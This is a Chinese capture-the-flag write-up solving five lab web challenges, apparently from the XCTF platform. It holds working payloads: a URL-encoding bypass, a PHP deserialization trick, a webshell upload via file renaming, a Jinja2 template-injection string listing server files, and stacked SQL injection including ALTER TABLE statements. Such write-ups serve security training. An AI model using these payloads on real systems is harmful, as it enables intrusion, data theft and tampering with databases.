一、PHP2
题目
解题方法
这道题就不知道怎么找到这个index.phps的,我看的题解,直接就说这个源代码泄漏了;
1、访问index.phps查看源代码
2、从代码中可以看出,id参数需要经过两次url编码
3、因为%的url编码为%25,所以可以用某个字母的二次url编码,这里用d字母,接着输入http://111.198.29.45:47786/?id=a%2564min
4、最后得到flag
二、unserialize3
题目:
漏洞:
__wakeup():将在序列化之后立即被调用。
漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。
解题方法:
1、先可以看到类xctf中有flag变量,并调用了__wakeup(),则考虑实例化xctf类并将其变量序列化。并猜测意图为将序列化结果输入在?code=后进行POST请求。反序列化的时候利用漏洞跳过exit
2、执行序列化代码:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo(serialize($a));
?>
3、正常请求返回bad request
4、修改参数个数
5、得到flag
三、upload1
题目
解题方法
1、这是一个简单的上传文件漏洞,这里只需要图片格式的,我将带有一句话木马的jpg文件上传之后,用中国菜刀连接,连接不上;
2、问题出在了我传上去的后缀是jpg,不会在服务器运行,用burpsuite截获报文,修改文件名字,改为1.php;
3、用中国菜刀连接;
4、查找flag文件
找到flag值
四、Web_python_template_injection
题目:
解题基础
从零学习flask模板注入
解题方法:
1、首先简单在后面加上14,证明存在这个漏洞
2、之后输入查看当前目录有哪些文件
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
3、查看fl4g文件内容
4、最终获得flag
五、supersqli
题目:
解题方法:
1、一看就知道需要用sqlmap进行一下测试是否存在sql注入,手动测试也可以;
结果找到一个数据库,查不出表的内容,怪不得说sqlmap是没有灵魂的,还是人工加工具稳妥一点;
sqlmap -u http://111.198.29.45:50137/?inject=1 -dbs
sqlmap -u http://111.198.29.45:50137/?inject=1 -D "supersqli" --tables
2、当在url框中写union select内容时,出现内容:
说明将数据库查询语句在inject里面被过滤了,不过可以采用其他方法绕过;
3、输入show tables;
http://111.198.29.45:50137/?inject=1' ;show tables; #
找到对应的表
4、输入:
http://111.198.29.45:50137/?inject=1%27%20;show%20columns%20from%20`words`;#
http://111.198.29.45:50137/?inject=1%27%20;show%20columns%20from%20`1919810931114514`;#
5、之后有三种方法可以获取目标值:
1>需要绕过select的限制,可以使用预编译的方式
';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
发现被过滤,由于strstr不区分大小写,所以将其大写即可
';SET @sql = CONCAT('se','lect * from `1919810931114514`;');PREPARE stmt from @sql;EXECUTE stmt;#
2>我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了
'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开就是:
';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后使用1' or 1=1#
即可查询出flag
3>使用handler查询:
';handler `1919810931114514` open;handler `1919810931114514` read first;#